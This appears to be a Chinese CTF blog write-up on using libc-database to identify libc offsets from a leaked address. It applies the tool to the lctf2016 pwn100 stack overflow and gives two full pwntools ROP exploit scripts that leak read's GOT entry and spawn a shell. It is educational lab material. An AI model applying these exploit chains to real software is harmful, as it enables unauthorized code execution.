libc-database
gitHub上的一个工具
原理
介绍里说道这个随机化,通常是最后12bits不变化
使用
gitHub上有,git下来之后,先跑一个get,然后慢慢等
例子
lctf2016 pwn100
一道平常的栈溢出,格式大概是'A' * 0x40 + 'A' * 0x8 + ret
payload基本是从别人wp里改的
from pwn import *
p = process('./pwn100')
# p = remote('127.0.0.1', 2332)
elf = ELF('./pwn100')
puts_got_addr = elf.got['puts']
read_got_addr = elf.got['read']
puts_plt_addr = elf.symbols['puts']
read_plt_addr = elf.symbols['read']
rsp = 0x00601300
# ROPgadget --binary pwn100 --only "pop|ret"
pop_rdi_ret = 0x0000000000400763
pop_rbp_ret = 0x0000000000400595
pop_rsi_r15_ret = 0x0000000000400761
pop_pop_pop_pop_ret_addr = 0x000000000040075d
payload = ''
# leak glibc_puts
payload += 'A' * 0x40 + 'A' * 0x8 + p64(pop_rdi_ret) + p64(read_got_addr) + p64(puts_plt_addr)
#
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(rsp) + p64(1) + p64(read_plt_addr)
#
payload += p64(pop_pop_pop_pop_ret_addr) + p64(rsp)
payload = payload.ljust(0xC8, 'A')
raw_input('go?')
p.send(payload)
p.recvline()
libc_read_addr = u64(p.recvline()[:6].ljust(8, '\x00'))
libc_base_addr = libc_read_addr - 0x00000000000f6670
libc_system_addr = libc_base_addr + 0x0000000000045390
bin_sh_addr = libc_base_addr + 0x18c177
log.info('libc_read_addr:%s' % hex(libc_read_addr))
payload2 = p64(1) * 3
payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(libc_system_addr)
p.sendline(payload2)
p.interactive()
我们先是leak出来了libc_read的地址,比方说我这里是0x7fddbd085670
我使用./find read 670
就从database里得到一个id
也可以多个条件~./find printf 260 puts f30
,条件多一些会准确.,,
然后./dump id
,我就得到了
offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f6d90
offset_read = 0x00000000000f6670
offset_write = 0x00000000000f66d0
offset_str_bin_sh = 0x18c177
照着把这些填进去,就写好了payload
libc_base_addr = libc_read_addr - 0x00000000000f6670
libc_system_addr = libc_base_addr + 0x0000000000045390
bin_sh_addr = libc_base_addr + 0x18c177
教训..有些人这样做出来的pwn,写完的wp…是一般不能直接拷过来跑的,因为你的libc和人家的不一样
这里有一点感觉有点巧….
这里的payload1有
# read(0, 0x00601300, 1)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(rsp) + p64(1) + p64(read_plt_addr)
# rsp <- 0x00601300, 后续pop,pop,pop,ret
payload += p64(pop_pop_pop_pop_ret_addr) + p64(rsp)
先在0x00601300
这里铺好了payload2
第一个pop rsp
改变了栈顶到0x00601300
, 还剩下三个pop出了3个1,然后….
这个时候栈顶到了
payload2 = p64(1) * 3
payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(libc_system_addr)
然后起来shell
我写的话,大概会是再次返回vuln_function….原作者的写法太奇了….我还是比较菜到怀疑人生
from pwn import *
p = process('./pwn100')
elf = ELF('./pwn100')
puts_got_addr = elf.got['puts']
read_got_addr = elf.got['read']
puts_plt_addr = elf.symbols['puts']
read_plt_addr = elf.symbols['read']
vuln_function = 0x40068E
# ROPgadget --binary pwn100 --only "pop|ret"
pop_rdi_ret = 0x0000000000400763
pop_rbp_ret = 0x0000000000400595
pop_rsi_r15_ret = 0x0000000000400761
pop_pop_pop_pop_ret_addr = 0x000000000040075d
payload = ''
payload += 'A' * 0x40 + 'A' * 0x8 + p64(pop_rdi_ret) + p64(read_got_addr) + p64(puts_plt_addr)
payload += p64(vuln_function)
payload = payload.ljust(0xC8, 'A')
raw_input('go?')
p.send(payload)
p.recvline()
libc_read_addr = u64(p.recvline()[:6].ljust(8, '\x00'))
libc_base_addr = libc_read_addr - 0x00000000000f6670
libc_system_addr = libc_base_addr + 0x0000000000045390
bin_sh_addr = libc_base_addr + 0x18c177
log.info('libc_read_addr:%s' % hex(libc_read_addr))
payload = ''
payload += 'A' * 0x40 + 'A' * 0x8 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(libc_system_addr)
payload = payload.ljust(0xC8, 'A')
raw_input('go?')
p.send(payload)
p.recvline()
p.interactive()